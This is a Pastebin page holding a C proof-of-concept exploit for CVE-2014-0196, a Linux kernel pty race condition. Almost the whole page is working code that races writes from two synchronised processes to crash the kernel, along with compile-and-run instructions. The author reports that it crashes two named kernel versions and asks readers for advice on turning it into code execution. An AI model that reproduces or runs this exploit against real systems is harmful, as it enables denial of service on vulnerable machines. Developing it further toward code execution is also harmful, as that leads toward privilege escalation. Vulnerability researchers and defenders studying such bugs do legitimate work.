SHARE
TWEET

CVE-2014-0196 Local DOS (code exec pending)

a guest May 5th, 2014 9,714 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
  2.  *    by DigitalCold <digitalcold0@gmail.com>
  3.  *
  4.  * Note: this crashes my i686 Gentoo system running 3.12.14
  5.  * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
  6.  * code exec would be greatly appreciated.
  7.  *
  8.  * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
  9.  *
  10.  * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
  11.  * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
  12.  * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <errno.h>
  19. #include <time.h>
  20. #include <sys/mman.h>
  21.  
  22. #include <pty.h>
  23. #include <termios.h>
  24. #include <fcntl.h>
  25.  
  26. // used to sync the two writer processes
  27. volatile static int * Sync = NULL;
  28.  
  29. int main() {
  30.   int master, res;
  31.   struct termios tp;
  32.  
  33.   Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE,
  34.                 MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  35.  
  36.   if(Sync == MAP_FAILED)
  37.   {
  38.     perror("Sync mmap");
  39.     exit(1);
  40.   }
  41.  
  42.   // hold
  43.   *Sync = 0;
  44.  
  45.   // create a child with a new PTY connection
  46.   pid_t child = forkpty(&master, NULL, NULL, NULL);
  47.  
  48.   if(child == -1) {
  49.     perror("forkpty");
  50.     exit(1);
  51.   }
  52.   // parent
  53.   else if(child > 0) {
  54.     printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
  55.     printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
  56.     printf("[+] Starting bombing run...\n");
  57.  
  58.     int flags = fcntl(master, F_GETFL, 0);
  59.     fcntl(master, F_SETFL, flags | O_NONBLOCK);
  60.  
  61.     // synchronizer process
  62.     int doSync = fork();
  63.  
  64.     if(!doSync) { // child
  65.       // sync the two processes (CLK)
  66.       while(1) {
  67.         sleep(1);
  68.         *Sync = 1; // release
  69.         sleep(1);
  70.         *Sync = 0;
  71.       }
  72.     }
  73.     else if(doSync < 0)
  74.     {
  75.       perror("sync fork");
  76.       exit(1);
  77.     }
  78.  
  79.     // used for printing status
  80.     int cnt = 0;
  81.     char readBuf[256<<3];
  82.  
  83.     while(1) {
  84.       while(!*Sync) usleep(1000);
  85.       if(write(master, readBuf, sizeof readBuf) < 0) {
  86.         if(errno != EAGAIN) {
  87.           perror("master write");
  88.           exit(1);
  89.         }
  90.       }
  91.      
  92.       // shovel the input
  93.       if(read(master, readBuf, sizeof readBuf) < 0) {
  94.         if(errno != EAGAIN) {
  95.           perror("master read");
  96.           exit(1);
  97.         }
  98.       }
  99.  
  100.       if(cnt >= 200000) {
  101.         fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
  102.         exit(1);
  103.       }
  104.       else if(cnt++ % 200 == 0)
  105.         fprintf(stderr, ".");
  106.     }
  107.   }
  108.   else { // child
  109.     char discard[1024];
  110.  
  111.     if(tcgetattr(0, &tp) == -1)
  112.         perror("tcgetattr");
  113.  
  114.     // enable raw mode with ECHO to trigger the bug
  115.     cfmakeraw(&tp);
  116.     tp.c_lflag |=  ECHO;
  117.  
  118.     if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
  119.         perror("tcsetattr");
  120.  
  121.     // make stdin and stdout non-blocking
  122.     int flags = fcntl(0, F_GETFL, 0);
  123.     fcntl(0, F_SETFL, flags | O_NONBLOCK);
  124.     flags = fcntl(1, F_GETFL, 0);
  125.     fcntl(1, F_SETFL, flags | O_NONBLOCK);
  126.  
  127.     // construct a lengthy crash string
  128.     size_t badStrSz = 256<<2;
  129.     char * badStr = malloc(badStrSz);
  130.     int i;
  131.  
  132.     for(i = 0; i < badStrSz; i++)
  133.       badStr[i] = 'A';
  134.  
  135.     // slave loop
  136.     while(1) {
  137.       while(!*Sync) usleep(1000);
  138.       if(write(1, badStr, badStrSz) < 0)
  139.         if(errno != EAGAIN)
  140.           exit(1);
  141.  
  142.       // eat the incoming data
  143.       if(read(0, discard, sizeof discard) < 0)
  144.         if(errno != EAGAIN)
  145.           exit(1);
  146.     }
  147.   }
  148.  
  149.   return 0;
  150. }
RAW Paste Data
Top